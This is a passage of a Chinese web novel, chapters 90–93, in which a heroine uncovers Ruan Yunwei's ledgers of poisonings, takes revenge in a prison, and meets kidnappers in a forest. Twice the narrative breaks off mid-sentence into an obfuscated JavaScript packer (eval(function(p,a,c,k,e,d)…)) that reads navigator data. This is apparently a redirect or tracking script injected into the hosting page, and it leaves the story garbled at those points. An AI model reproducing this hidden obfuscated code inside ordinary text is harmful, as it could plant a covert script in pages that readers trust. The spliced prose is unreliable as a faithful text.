不说阮淑妃会在圣人面前说煜王的好话,替他入主东宫铺路,至少陈贤妃的儿子八皇子背后少了一股势力,立储之争也能减少一些阻力。 所以,在庄戴英入狱之后,虽然阮云薇也被发现给禾阳贵女下蛊毁容,但是她仍然没有放弃诞下子嗣这张最后的王牌,也没有放弃扳倒庄孚义。 她被拘禁在王府中等候发落的时候,桐风妖道依旧替她物色合适的孕妇摄取生机,依旧是用傀儡术控制庄氏其他家丁,让他们出现在被煞气残害的孕妇周围,这样就能顺势嫁祸整个庄家。 只不过,这些都被阿婵和霍彦先识破,并且假扮家丁引出桐风妖道,彻底将北郊古墓起底,连带翻出她的无数罪证。 第二个“意外收获”,是账簿中记录的关于楼映真的部分。 自从楼映真以“阿水”的身份回到桓安,阮云薇的焦虑就更上一层楼。 不仅让桐风妖道加紧用煞气为她掠夺生机,还不惜重金从桐风那里购买“噬心蛊”,在灵骅寺趁乱给楼映真种下。 以及趁楼映真到府上做客,给她种下经过改良的“蚀颜蛊”。 不过这些并不算是“意外收获”,真正令霍彦先和阿婵感到意外的是…… *** 楼映真看着锦书阁的来信,眼中简直要喷.火! 信中,锦书阁说,据查十年前,阮云薇的眼线曾企图在一个宴席结束后,给煜王青眼有加的一位贵女下药,但那药只是一些普通的泻药。 巧的是,眼线发现楼映真的夫君礼部尚书之子陶俊贤,在宴席结束之后,和那位贵女偷偷私会,陶俊贤与她调笑之间,吃了几块贵女口中的糕点果脯,导致腹泻。 如果只是这样,倒也没什么,但倒霉的是,当时陶俊贤好像染了风寒,吃下这些泻药没有多久,病情便加重,一命呼呜了。 所以,陶俊贤去世的时候,大家都以为他只是因为伤寒不治去世的,没人知道这里面还有这样的乌龙。 也因为如此,阮云薇得以将这件事隐瞒了十年。 楼映真甚至没来得及读完下一页,便将手中的信纸攥成一团,气极反笑。 想自己年纪轻轻,嫁人不过一年就丧夫成了寡.妇,此后十年背上克夫克父克母的扫把星名头,没人把她当人看,日日殚精竭虑过日子,如此悲惨的境遇,竟是毁在这种荒唐事上,她都不知道应该更恨谁一些! 楼映真缓了好一会儿时间,才缓过气来,继续展开信纸,看下一页,内容是锦书阁因为查到消息有些迟,附赠给她的一条不收钱的“赠礼”。 但这其中的内容,更令她如遭雷击—— 原来,阮云薇自她及笄之后,就一直暗中给她下药。 楼映真本以为自己是易胖肿的体质,谁想到,这一切都是阮云薇的手笔! 是,她自小馋嘴,长得圆润,但小时候大家会夸她可爱,粉粉圆圆的像个小团子,但是及笄之后,母亲对她说,不可以这样下去了,否则别人会觉得这样的女子贪嘴,不够自律,找不到好人家。 她听了母亲的话,深以为然。自此之后,很自觉地忌嘴,瘦了很多。那段时间,大家见到她也会小小惊艳,纷纷夸她女大十八变。 也有不少人上门议亲,但那时父母和她的心气都变高了,觉得她瘦下来的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怪不得!怪不得陶俊贤死后,自己随父亲到西北安密镇,慢慢就瘦下来了,她那时还以为自己是大受打击,外加环境艰苦,水土不服,身体出了问题。 后来为了重遇煜王计划,自己发狠辟谷,也能瘦到如今这个极致的状态!原来是因为离得远,威胁不到阮云薇了,所以她才停止下药的! 楼映真如今看到这些,细想过往种种,对这终于拼凑出来的真相,只觉荒谬好笑,笑着笑着泪水便夺眶而出,胸口抑制不住地起伏。 她知道阮云薇自小喜欢使些后宫阴招,自己也从她那里学了不少手段,对付那些她们看着不顺眼的人,比如庄菀。 但是,她属实没有想到,阮云薇这个毒妇,竟然连自己也没有放过! *** 蓬莱春。 阿婵站在观星台,看着头顶星寰闪烁,今日是个好天气。 “楼映真现在收到信了吗?” 谢慕游斜倚阑干,绣眉轻扬。 “她现在应该已经看完气个半死了!什么是报应,这,就是报应!” 90. 算账 “没想到你和霍彦先查贵女毁容案与煞气案,竟然连带着还查出了十年前楼映真亡夫之死的隐情,这可真是天网恢恢疏而不漏!”谢慕游感慨道。 “不止,还有关于阿菀的。” 这是第三部分“意外收获”。 阿婵把.玩着手中的龟甲,眼中尽是恨意。 当时,她看到一本账簿,纸页泛黄,很是陈旧。据霍彦先说,是在阮云薇房间暗格中搜出来的。 霍彦先让她帮忙鉴定一下里面药材巫术相关的部分。 阿婵十分好奇,这本扉页叫做“小试牛刀”的账簿里面,都写了些什么。 看看日期,应该是从十多年前就开始记录了。 而当她翻开第一页仔细阅读的时候,却必须在霍彦先面前极力控制自己不将账簿撕碎碾成齑粉! 因为,账簿里面的每一个条目,都和欺凌陷害阿菀有关! 阿婵一页页翻看着阮云薇当年每一条清晰的记录。 有些事情是她已经查到的,比如阿菀被阮云薇、庄菡、楼映真三人联合设计,在宴席上被推进池塘、被众人撞见和陌生男子“幽会”…… 而在她还不认识阿菀的那些年,阮云薇曾建议庄菡: 偷偷将阿菀母亲留给她的玉镯摔碎,看看她的反应, 在阿菀的饭菜里掺狗尿,看她能不能尝得出来, 冬天将阿菀院中的柴火全部淋湿让她没法生火做饭取暖,试试人一.夜能不能冻死, 以及在庄菡假意示好送给阿菀的软枕中,藏进带针的纸扎小人,只是为了试一试传闻中的巫术效果…… 此外,还有自阿婵回到霄擎山炁云洞闭关修炼的一年中,阮云薇在阿菀产前产后,和楼映真、庄菡屡次上门看望阿菀,每一次送的“随礼”礼单。 这一次,阿婵终于不再需要乔装打扮,费尽心机和阮云薇的婢女仆从打成一片,再从他们得意忘形的随口讲述中拼凑出阿菀当年“油尽灯枯”的真相,而是亲眼在账簿中看得清清楚楚—— 那些十年前阮云薇亲笔记录的随礼礼单,其中的滋补药材,明面上都十分昂贵稀有,但组合在一起服下,却对产妇的气血有着致命的危害! 这本账簿上的字迹和记录分类方法,相比豢养煞气的账簿来讲,要稚嫩杂乱很多,但害人的歹毒心思,却是一以贯之,只增不减! 透过这本账簿里的每一个字,阿婵似乎能看到当年阿菀的气血正在透过账簿的字里行间一点点流逝。 她真的恨!恨阿菀为什么那么轻易相信阮云薇的口蜜腹剑,相信她一次又一次的“示好”。 正是阮云薇一次、两次、三次、四次……在阿菀产前产后去“看望”她时的那些贴心礼物,慢慢将阿菀从一个可以徒手造树屋的活力少女,变成了产后油尽灯枯的活死人! 而这些歹毒至极的手段,竟然只被阮云薇称作“小试牛刀”而已! “都说阮云薇打理王府事务井井有条,这还真是事无巨细一笔一笔记得清清楚楚,还好有这些账簿,这些陈年旧账,咱们一笔一笔跟她算!”谢慕游恨到拍桌。 阿婵手中的龟甲突然发出“咔嚓”的碎裂之声,她一把将龟甲捏碎,冷冷抬眸: “所以霍彦先之前让我去牢中给她治伤,我就顺便给她下了点药,让她在牢里也能过得‘舒服’一点……” *** 那日,霍彦先来找她,说是审讯之中阮云薇状况不好,因为要供述的罪行太多,希望阿婵前去看看,给阮云薇多续一会儿命便是一会儿。 因怕煞气生机残留,阿婵不让有人在侧,霍彦先同意了,但要求远远看着她。 阿婵独自穿过长长的牢房过道,见到了奄奄一息的阮云薇。 此时,她披头散发,满头满脸全是泔水秽物,整个人都散发着恶臭,靠坐在牢房墙边,如果不是审讯需要,旁边有东西撑着她坐起来,她整个人已然身体发软,根本坐立不住。 见到阿婵,阮云薇的眼中焕发了一丝光芒,手指微抬,却根本没有半分力气。 阮云薇还记得,那日煞气生机围攻她的时候,是阿婵从人群中将其驱赶,在她耳边说,“别放弃,还有转机。” 虽然不知道阿婵是什么来头,为什么要帮她,但是此刻,她已经没有任何可以依靠的人了。 因为她擅自决定嫁祸庄孚义的事暴露,姑母阮淑妃已经完全跟她割席,她的父母一向唯姑母的话马首是瞻,立刻将她逐出族谱,生怕圣人降罪连累阮氏家族。 而煜王,更不用说,直接到宫中请圣人赐她死罪去了。 只有这个闻寰居士,不过是收钱帮她找过一些药而已,为什么要这样帮她? “我是来帮你的。”阿婵握住阮云薇那只根本抬不起来的手。 “为何帮我?” 阿婵不看她,自顾自握住她的手腕探脉:“绣衣察事司还没审完,你还不能死。” “你知道……我在问什么。”阮云薇用口型无声地说。 她是在问,为什么那日阿婵要在众目睽睽之下,在她耳边说那样一句话。 见阿婵的眼神瞟向一侧,阮云薇虽视线受阻,却也知道,远处可能有人正在监视着她们二人的一举一动。 “我现在要帮你继续祛除体内的煞气生机,忍着点。”阿婵顾左右而言他,开始施针。 顿时,阮云薇只觉腹部撕裂般的疼痛,跟那日一样,疼痛剧烈到似乎真的要从腹部分娩出胎儿一样。 她疼得满头是汗,眼前发黑,忍不住连声哭嚎起来。 而这时,她又听到耳边低声传来一句话—— “楼映真,我要她死。” 她一边飙泪哭嚎,一边惊讶地看向阿婵,只见对方唇角淡淡挑起一抹弧度,几不可见。 阮云薇霎时睁大眼睛,“你……” 阿婵低头淡定继续施针,又换来阮云薇的连声惨叫。 她一边继续哭嚎掩盖自己的惊讶,一边心中想,这闻寰居士不是帮楼映真除掉了自己的噬心蛊么?怎么竟然? 腹部剧痛再次袭来,她下意识尖叫起来,而后便又听到一句—— “楼映真害死我姐姐,我要她死。” 简短的一句话,却让阮云薇边嚎边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍彦先负手站在阿婵对面,看着她穿过长长的过道,身上光影斑驳,忽明忽暗,向自己走来。 待走到自己面前,阿婵抬眸一脸谄媚伸手笑道:“霍大人,这次替她续了半月的命,钱是立结还是月付?” *** 蓬莱春。 “等到阮云薇发现楼映真也不过是你手中一枚复仇的棋子,不知道会作何感想?”谢慕游讥讽道。 阿婵眼中沁着寒霜:“你说,我之后穿成阿水的样子,站在晁元肇身边,看着阮云薇和楼映真一起上刑场,她们脸上会是什么样的表情?” “阮云薇能撑到楼映真暴露身份那一天吗?你给她的又不是真的化瘿木。” 阿婵眸色更深:“这反倒可以督促我抓紧。那颗药丸吊着阮云薇的性命,却也可以让她日日体会肠穿肚烂,求生不能,求死不得的痛。” “她值得!阿菀生前受过的苦,她不能少受半分!” 91. 夜观天象 “娘子小心,东西杂乱,别被碰伤了。” 婢女端着妆奁杂物向屋中走去,提醒楼映真当心别被搬家什的奴仆磕碰。 楼映真这才回过神来。 眼前这座宽阔敞亮、富丽堂皇的新宅邸,今后,就是她的新家了。 虽然还比不上她以前桓安娘家的规格,但自己的一番努力没有白费,总算是在桓安初步站稳了脚跟。 想到这里,她不禁感慨万千。 阮云薇出事之后,煜王便将她带来这座宅邸,有些小心翼翼又充满希冀地问她: “阿水,你喜不喜欢这里?” 这是煜王暗中筹备了很久的宅邸,虽然外表看起来普普通通,但内里的规格、装潢、铺陈用度,都是按照孺人的等级规制布置的,仅次于王妃。 楼映真看着这一切,眼中湿润,有些不敢相信自己的眼睛:“殿下,何必为我如此费心,这太铺张了,映真是贬谪之臣的女儿,不配……” 话音未落,她便被晁元肇拥入怀中,他伸出手指轻轻封住她的唇,“不许你再这样说自己!我都已经知道了,其实我们十年前便早该在一起,都是因为阮云薇那毒妇,害我们错过这么久!” 晁元肇紧紧拥着她,就像抱着失而复得的珍宝。 若不是阮云薇的手段,他的阿水在年少时身材就不会走形,就不会在他选妃时致使二人失之交臂。 更不会嫁给别人之后,短短一年就做了寡.妇,只能被迫跟着贬谪的父亲举家迁到西北蛮荒之地。 也不会因为家人的偏见自己跑到晋南山中被迫隐居,学会一身打猎技能傍身,如今还被毁了容颜! 他知道这一切对于一个从小娇生惯养的桓安贵女来说,是多么大的苦难,而这一切,都是拜那个该死的阮云薇所赐! 楼映真眼泪不禁夺眶而出,此刻,她是完完全全真情流露。 且不说她和煜王的关系蹉跎到如今才有了这样突破性的进展,就说自己大好的青春年华,竟都被阮云薇那贱.人毁了,就算自己当不上煜王妃,也本该拥有更好的人生,一想到这里,她是真的委屈又不甘! 见她垂泪,晁元肇更是心疼,“放心吧,阿水,以后我一定会好好补偿你的……” “殿下,我不要什么补偿,只要今后能一直和殿下在一起,我便心满意足了。”楼映真红了眼眶,轻轻啜泣,“这些年经历了这么多,我已想得很清楚,什么名分、地位、钱财,都是身外之物,这世上,只有真心人难求。” “不,不够,我要把这天下最好的都给你!你且等一段时间,目前阮云薇的案子还在审理中,只能先委屈你在这里暂住一段时间,等到我在朝中站稳根基,一定会将我们失去的那些年全部弥补给你!”晁元肇激动道,声音中都带着轻颤。 “殿下……” “阿水……” 二人在院落中深情相拥…… 片刻后,晁元肇牵着她的手来到卧房外,“来,过来……” 楼映真见他这样,不禁有些羞赧地将头低下。 煜王偷偷看她羞红的脸,轻勾唇角。 吱呀—— 房门被晁元肇一下推开。 “阿水,你看,我给你准备了什么惊喜!” 楼映真本羞答答地低着头,以为他进房间要做什么,可听到他的语调便觉诧异,再顺着他的眼神方向看去,不禁花容失色地惊叫:“这……这是什么!” 煜王见她这幅反应,不禁也愣住,“怎么?你不喜欢吗?” 只见卧房中的墙壁上,是一副巨大的虎骨拼成的图腾,白森森的骨头散发着暴戾之气,让人望而却步。 “好端端的,殿下为什么在房中放这么骇人的东西。” 晁元肇脸色一僵,奇怪道:“你不喜欢?这不是你身上的东西吗?” 楼映真突然意识到了什么,也是惊出一身冷汗,虚声道:“不不,很喜欢,只是没想到,殿下竟然将它放在了这里……” 晁元肇松了口气,“那便好,这是你在晋南山中救我之时,我不小心从你身上扯下来的兽骨牌,那时候你掉下山崖,我怎么找都找不到,以为再也见不到你了,便只能日日睹物思人。 谁想到上天垂怜,我们终于在灵骅寺再次相逢,从见你的第一面,我就想要用虎骨将你身上的兽骨牌复刻一个放大的图腾放在房间中给你一个惊喜,这才一直没有把兽骨牌还给你,你不会怪我吧……” 他掏出小小旧旧的兽骨牌,依旧那样小心翼翼地望着楼映真,双颊因激动而染上红晕,一脸的期盼,又有点害怕。 “当然不会,殿下,只是……我毕竟是个女儿家,兽骨牌那么小一个,你放着看看也就算了,谁会在自己的寝屋中放那么大的兽骨,多吓人啊!” 晁元肇不好意思地挠头,“是是是,是我疏忽了,以为你当过猎户与其他女子不同,肯定会喜欢这种,是我不好!瞧我……也是的,把好好的寝屋变成山寨大王的窝点了……” 楼映真闻言“噗嗤”一笑,娇嗔着轻捶了他一下,脊背却是暗暗起了一层鸡皮疙瘩,心砰砰直跳。 她立马作势将煜王往房中引,岂料煜王却在门口站定: “我马上让人把这东西搬走。这两天,他们会将你的东西全部搬进来,你若缺什么,直接跟管家说就是。” 说着,他自怀中取出一个药盒:“这是禾阳县主配置的新药,你继续敷用……” “殿下,你这是,要出远门?” 听到晁元肇一连串的叮嘱,楼映真突然感觉不太对。 “是,这几天我有急事要离开桓安一段时间,你且安心在这里养伤,等我回来。” 听到这话,楼映真只好道:“殿下放心,映真一定安分守己,不会给殿下添麻烦。” 晁元肇眼中满是柔情,轻抚她的脸庞,与她道别。 *** 晁元肇走后,楼映真将满腔的柔情与眼泪全部收起,有些失望。 她命婢女取来铜镜。 镜中,她脸上的疤痕在药膏的作用下,蛊虫被麻痹,近来已经变得很淡。 但是,无论楼映真如何挽留煜王,煜王始终都没有在她的住处留宿,甚至走得还很急。 这让她很是失望。 初见时,她为了贴近阿水清冷疏离的性格,故意拒绝煜王的亲热,但二人相处了这么久,以煜王的性格,早就该有进一步的动作。而他们之间,目前除了拥抱牵手,甚至没有别的进展。 如今没有,并非她铺垫暗示得不够,而是只有一种可能,就是煜王不想。 虽然表面上煜王说要弥补她以前损失的一切,但是,一没有明确说要接她进王府,二没有和她有进一步的亲密举止,就说明,她在煜王的心中,分量其实还不够。 虽说阮云薇的王妃之位已经空出来,但这些天她旁敲侧击,发现煜王已经没有再轻易马上立妃的意思。 或许是因为,煜王嫌弃她脸上的丑陋疤痕没有完全消失。 或许是因为,阮云薇的所作所为终究连累到了煜王,让这个皇庶子好不容易在圣人和民间积攒的口碑一下子损失惨重,他必须要再努力用别的成绩来弥补。 又或许,煜王还有别的打算。 楼映真心知煜王并非表面上看上去那般是个风.流草包,他心中是有所图谋的,但这图谋中,如果没有她的一席之地,那她辛辛苦苦这些年遭的罪又是为了什么呢? 回想起自己重回桓安之前给自己设下的目标。 那时她并不在意王妃之位,也不在乎能不能进王府、当王妃,她只需要钱、自由和煜王的子嗣。 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往日她为了煜王的对证想尽办法敷衍过去,如履薄冰,今日兽骨牌这一遭,差点让她前功尽弃、暴露身份。想到这里,她不禁十分后怕,不住提醒自己,千万要小心谨慎,切不可得意忘形! *** 皇城,勤政殿。 “陛下,煜王殿下已经连夜去往平海镇方向。” 霍彦先将密报呈上。 圣人面前铺开平海镇的地图,看着手中的密报,眉头紧锁。 “你且盯紧一点,看看他到底要做什么。” “是。”霍彦先领命告退。 在和煜王一起从荔南府回来之后,霍彦先一直命人严密跟进煜王与平海镇节度使卫琛往来的这条线。 如今,大桓西北还有战局,煜王妃阮云薇却在这个当口以煞气案动摇民心,这件事虽然目前看来煜王是不知情的,但他和卫琛的暗中往来却是实实在在的。 还是那句话,若煜王同东南藩镇势力有什么瓜葛……在西北战局还没结束的节骨眼上,他现在贸然行动,怕是要给大桓添乱,那就别怪圣人虎毒不食子…… 趁着夜色,霍彦先快马出城,去往平海镇的方向,紧盯煜王。 霍彦先走后,内常侍拿来司辰局的最新卦辞,呈给圣人: “六月初八,月犯荧惑,水火未济。务须慎于谷物之收割与储藏,严防火患水涝。” 圣人叫来虞屹安,让他过目卦辞:“你安排下去……” *** 是夜,蓬莱春。 阿婵在观星阁仰观天象。 谢慕游在一边坐着吃果脯:“现在楼映真搬进了煜王的新宅子,得给她点颜色瞧瞧啊,阮云薇不整她了,咱们也别让她尾巴翘上了天。” “放心,她得意不了多久了,我会选个合适的时机,在晁元肇面前戳穿她假扮阿水的身份。”阿婵看着星空淡淡道。 闻言,谢慕游眼神一亮:“这么说,你已经有想法了?” “很快。”阿婵淡笑道。 随后,她低头在观星记录簿上看今早丑时记录的星象卦辞: “六月初八,丑时,月犯荧惑,荧荧似火,水火不济。谨防谷物粮仓之水涝火患。” 而现在,她看着夜空之中七仙女星伴在明月身边,六星明亮,一星黯淡,又提笔写下一行娟秀小楷。 而后,沉思片刻,在丑时记录的那一条,又提笔加了两个字。 谢慕游通读一遍,阿婵写下的卦辞是: “六月初八丑时,月犯荧惑,荧荧似火,水火不济。谨防军中谷物粮仓之水涝火患。 六月初八子时,月蚀昴,胡不安,将军死。贵臣诛,贵女失势!” 92. 狂徒 夜渐深,谢慕游困得头一歪一歪,却依旧陪在阿婵旁边观星。 虽然受阿婵耳濡目染多年,但她发现,自己在看星星看月亮这方面是真没天赋,这要是让她听墙角挖八卦,她可以三天三夜不睡觉,眼睛瞪得像铜铃。 或许,这就是术业有专攻吧。 谢慕游在心里这样安慰自己,准备偷偷爬走睡觉。 “等一下。”阿婵叫住她。 谢慕游困乏抬眼,只见阿婵递给她一个纸条。 “我出门一趟,如果五日后我还没回来,你就让人去这棵树下找我。” 谢慕游低头一看纸条,瞬间睡意全消,一把扯住阿婵。 “不是,你干什么去?距离上次你让猫妖附体才多长时间,药犀大妖就又带猫妖儿子来莲云山?你这是纯纯去送死啊!” “就是不打算去送死才让你去捞我啊。”阿婵一副云淡风轻,理所当然的样子,从旁边柜子里取出包袱。 “好哇,你连包袱都偷偷收拾好了!”谢慕游炸毛,“我求你想想清楚啊,你计划里还有那么多事情呢,万一这次有个三长两短,你打算前功尽弃吗!” 阿婵见她气急败坏,只能好声好气地解释: “就是不打算前功尽弃,我才必须要让猫妖心甘情愿替我在宫中继续查探消息啊。 霍彦先、嘉善皇后和我阿耶的线索可能存在卷宗库的秘密结界之中,打破结界需要耗费不少修为,我总得做点什么笼络猫心吧。” “那也不用……” 阿婵捏捏谢慕游的脸,将一个锦盒塞在她手里:“好了,别婆婆妈妈的了,五日之后,我若自己没回来,这条命全靠你啦!药收好!” 说罢,阿婵麻利地背着行囊出了蓬莱春,策马而去。 徒留谢慕游一个人在屋里生闷气干着急。 *** 三日后,莲云山密林。 “我劝你别太拼,你这种凡人体质一月之内让猫妖附体两次,会要命的。” 饶是药犀大妖遵守约定,从五蕴山带着猫妖儿子来老地方见阿婵,也不禁再三劝阻。 “多谢提醒,帮我看着点。明日午时我若还不能自己走,就把我放在那棵大树底下,自然会有人来救我。” 阿婵一脸平静地对药犀大妖施了一礼,就服下催眠灵药,盘腿坐在地上准备让猫妖入梦。 “你……” 药犀大妖简直无语,它看惯了各种惜命的百年妖怪为了争抢灵药打得头破血流互相倾轧。 但还是头一次眼睁睁地看着寿命不过百的凡人明明灵根绝佳,很有希望踏入修仙境,却一次又一次地自己作践自己,真是暴殄天物…… 但即便无语,药犀大妖也还是老老实实在一旁守着阿婵。 …… 过了一天,木僵般直挺挺躺倒在地的阿婵终于有了动静。 一口鲜血从胸腔被挤压出来,她终于长出一口闷气,颇有种冲破黑暗深渊浮潜上来的感觉,整个人身上的千钧重压没了,轻松了,身体不再僵直,恢复了“人形”,但她累得连动一下手指的力气都没有,终于再次晕了过去。 “唉,叫你这么倔!” 灵犀大妖摇摇头,还是依言将阿婵放在了密林中的一棵大树底下。 *** 约莫黄昏的时候,密林里终于来了人。 林中两个彪形大汉驾着一辆马车而来,一人瘦长脸,一人独眼。 可奇怪的是,马车后面还拖着一长串的人。 没错,就是一长串人,有男有女,被绑着手脚,用绳子穿成一串麻花,看穿着像是奴仆之类的,他们被一路疾驰的马车拖行,陷入了昏迷。 “再快点!看起来那妇人快没气了,死人可要不来赎金!”独眼大汉对旁边的瘦长脸说道。 “知道了!知道了!” 瘦长脸不耐烦地应和着,缰绳一甩,全速向前。 可下一刻,牵着缰绳的手突然一紧,他大惊失色,只见车前的马匹突然一仰脖,两只前蹄高高扬起,长声嘶鸣,极力想要停下,躲避脚下的什么东西,可速度太快,它根本来不及停下。 格登一下,人仰马翻! “怎么回事,马发疯了!” 两人连滚带爬向一边就势卸力,生怕马匹发疯踩踏到自己。 马车车厢翻倒,也滚出来一个人,细看,是一位衣着华贵的老妇人,滚伏在荆棘丛中不省人事。 “诶,快看,那是什么?” 独眼大汉一骨碌爬起,正要去救“肉票”,突然指着马匹发疯路过的那棵大树下,“好像有个小娘子!” “嘿,看身条还挺不错啊!过去瞧瞧!”瘦长脸大汉呲着牙乐开花。 两个彪形大汉朝着树走过去。 阿婵身上很痛,因为刚刚有什么东西踩在她身上碾了过去,好像是车轮…… 她本来就睡眠不好,好不容易这一回终于睡了个好觉,一.夜无梦,居然被人打扰,打扰的方式还是被车轮从身上碾过去,瞬间她杀人的心都有了! 那两人凑到阿婵面前,见地上躺着的这个小娘子果然不一般。 身材细瘦却不干巴,凹凸有致,容貌更是他们没见过的明艳动人,像一颗汁.水饱.满待人采.撷的樱桃。 只是……脸色有些灰白,看起来不省人事。 二人探了探阿婵的鼻息,幸好,还有呼吸! 他们不禁对视一眼,面露喜色,独眼大汉向四周看看,密林深处,四下无人。 此刻,二人心中均是同一个想法:“正是动手的好时机!” 彪形大汉伸手便向阿婵的衣襟抓去,眼神中全是欲.望。 “啪”地一声,独眼大汉用力拍掉彪形大汉的手。 “你干嘛!”彪形大汉前一刻脸上还挂着淫.邪的笑容,后一刻手臂火辣辣的疼,不禁对独眼大汉怒吼。 “瞧你这点出息!满脑子就是这点事!”独眼大汉嘲讽道。 “呸!说得好像你不想似的!”彪形大汉更怒了,心里不服,他还不了解独眼儿?他俩半斤八两,五十步笑百步! “带回去,能卖个好价钱!” “车里那个老太太就能换不少钱!不差她一个!” “你懂什么!这种级别的货色,卖到御香楼去, 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只见阴暗的密林之中,美.艳娇弱的女子突然利落起身,抬头看着他俩,眼中全是戾气,阴恻恻地说: “敢打扰你姑奶奶睡觉……” 两个大汉正在表演高空吐血,马车那边却传来动静—— “救……救命……” 阿婵循声走过去,发现马车里有一位年纪约莫四五十岁左右的贵妇在呼救。 她整个人刚才被掀翻出马车车厢,滚落到一旁的荆棘丛里,此刻倒伏在地,半张脸埋在胳膊里,很是痛苦。 阿婵轻轻将她扶起,带离灌木丛。 可阿婵刚一用力,却感觉一阵胸闷,喉头腥甜,紧接着一口血控制不住地喷.出,恰逢那贵妇转过脸来看到了这一幕,二人在看到彼此的一刹那同时震惊—— “霍夫人?!” “闻寰居士?!” 轰隆,只听得天上又一道雷炸开,声响是刚才雷声的十倍有余。 巨雷伴着闪电劈向密林,原本被乌云遮蔽的阴暗密林中的一切瞬间被照亮。 霍夫人看到阿婵喷溅了鲜血的脸,突然瞳孔骤缩,一把将她用力甩开,整个人脚步踉跄着向后急退! “你不要过来!” “霍夫人?”阿婵见她不对劲,忙想上前扶她。 哪知霍夫人却好似完全变了一个人,眼神突然凌厉非常,厉声对阿婵怒喝: “不要过来!我知道你不是我儿子!” “霍夫人,你怎么了,我不是霍彦先,你可还记得我,那日在灵骅寺……”阿婵有些摸不着头脑。 霍夫人却完全不理会她的解释,看阿婵就像在看另外一个人,气势更加凌厉地指着她怒喝道: “别装了!你根本不是我儿子!我儿霍彦先胸口有一颗红色的痣!你没有!居心叵测的狂徒,说,你为何要冒充他!” 阿婵本伸出去想扶霍夫人的手突然顿住,一震惊地看向她。 她在……说什么? 霍彦先……是冒充的?!!!! 93. 进宫 暴雨忽至,雨幕如烟,顷刻便浇得人浑身湿透。 霍夫人说完这些话之后,似是用尽了所有的力气,再度陷入昏迷。 半个时辰后,谢慕游和她的人终于冒着大雨赶到。 “哎呀你这满脸血!”谢慕游一见到阿婵满脸是血,大声惊呼,紧张地抓着她左看右看。 “没事没事,只是吐血溅到脸上被雨淋花了而已,你们这是怎么了?” 阿婵看谢慕游带着一群人,也是满身泥泞,筋疲力竭,不由得问道。 “别提了,本来我们提前赶到了山下,结果突然大雨塌方把上山的路堵死了,幸好落石没砸到人,我们赶紧又绕了旁边一座山过来的。”谢慕游没好气道。 阿婵指指树上那两个还在哀嚎的大汉,“那你们跟他俩是一条路来的。” 谢慕游看过去,好家伙,树上还叉着两个人,一看就伤得不轻,雨水混着血水浇下来形成两道小瀑布。 “他们为什么在树上?” “我好不容易睡一觉,他们用马车从我身上碾过去了。” “???!!!” 阿婵将刚才的事跟谢慕游说了一遍。 “果然这种人还是得挂起来才老实!” 谢慕游听说他们要把阿婵卖去青.楼当花魁,拿起石头就朝他们劈头盖脸砸过去,砸得两人嗷嗷乱叫。 不过,谢慕游一路悬着的心终于放下来,阿婵被附体内伤吐血还能把这俩人弄成这样,说明她伤得不算太重,比她预想的昏迷不醒可好太多了,回去再给她慢慢调理就好。 随后,她指挥随从将那俩人从树上薅下绑起来。 “这两个绑架犯不能只交给当地官府就算了,绑架霍夫人呐,得送去给霍彦先让他好好教训他们,你的手段尝过了,再让沉命阎罗展现一下风采!” “嗯……”阿婵心不在焉地应道,看着昏迷不醒的霍夫人被抬上谢慕游的豪华马车。 她心中还想着刚才霍夫人的惊人之语,一时间有太多疑问。 霍夫人说话时的状态,似陷入癫狂,自己调查多年,还没有听说霍夫人有这样的隐疾,当时她说的话能当真吗? 如果她说的是假话,那为什么要在自己面前演这样一番撒谎骗人? 如果她说的是真话,霍彦先真的是冒名顶替的,这么多年居然没有被发现吗?还是被发现了,但有什么不得已的原因要让他继续冒充? 谢慕游想把那两个绑架犯交给霍彦先,阿婵也想立刻见到霍彦先,扒开他的衣服看看他胸.前有没有那颗红色的痣。 她不禁十分懊悔,上次在富州城帮他疗伤的时候,没有脱.衣服仔细查看,实在是太失策了…… *** 因为要照顾霍夫人和阿婵的伤势,谢慕游带着她们乘马车一路走得慢了些。 待到众人回到桓安,已是六日后。 阿婵和谢慕游发现整个桓安街头巷尾现在都在议论一件事—— 平海镇节度使卫琛企图谋反,煜王协助朝廷平乱有功,圣人龙颜大悦。 “没想到,这晁元肇还挺有一手,阮云薇害人损了他的口碑,他转过身立马就用平乱给弥补上了。” 谢慕游一边感慨,一边吹着手边一碗刚熬好的药。 阿婵把.玩着龟甲,“阮淑妃那边的势力,晁元肇估计是指望不上了,他韬光养晦这么多年终于装不下去了。” “可看圣上这回给他的褒奖,看起来阮云薇的事对他影响并不大,他又能蹦跶一段时间了。”谢慕游有些失望。 “没事,先把楼映真解决掉,到时我顺势再以阿水的身份接近他,看看有没有可以入手的地方。”阿婵安慰她。 “而且我这一趟也不算没有收获,最近还能以探病之名去看看霍夫人,顺便打探打探霍彦先那边的事。宫中我暂时进不去,能混进霍府也是好的。” 谢慕游将药碗推给阿婵,“药凉了,赶紧喝了。我说你最近哪儿也别去,也不要想太多,就给我老老实实在蓬莱春养伤。看你脸色这么差,风一吹就倒,你还想打探什么啊。” 阿婵端起碗一饮而尽,起身故意靠倒在谢慕游身上,娇.声道:“那奴家不是正好我见犹怜嘛!” 谢慕游嫌弃地把她赶到榻上休息。 二人正在笑闹,小厮忽然来报,禾阳郡主来找阿婵。 “禾阳郡主来桓安好几天了,差人等闻寰居士回来就立刻告诉她,说是有要事相商。”小厮禀报。 阿婵和谢慕游对视一眼,不知道她找上门有什么事。 *** 不过,阿婵对禾阳县主还是很有好感的,她将人请到三楼雅间,“县主怎么有空到桓安来?” 叶逢君拉着她的手,亲热地说:“我是特意来找你的。” 随后,她对阿婵讲述了自己的来意。 原来,阮云薇的罪行曝光之后,玥宜公主非常生气,没有想到一向温柔可亲三皇嫂竟然如此恶毒。 那些被煞气扼杀在腹中的胎儿没有办法相救,但是公主希望能广召天下名医,为那些被阮云薇下蛊毁容的贵女们彻底治好脸上的疤痕。 毕竟她们根本就是无辜受到牵连,本来美好的人生就这样一辈子被毁掉,实在是不应该。 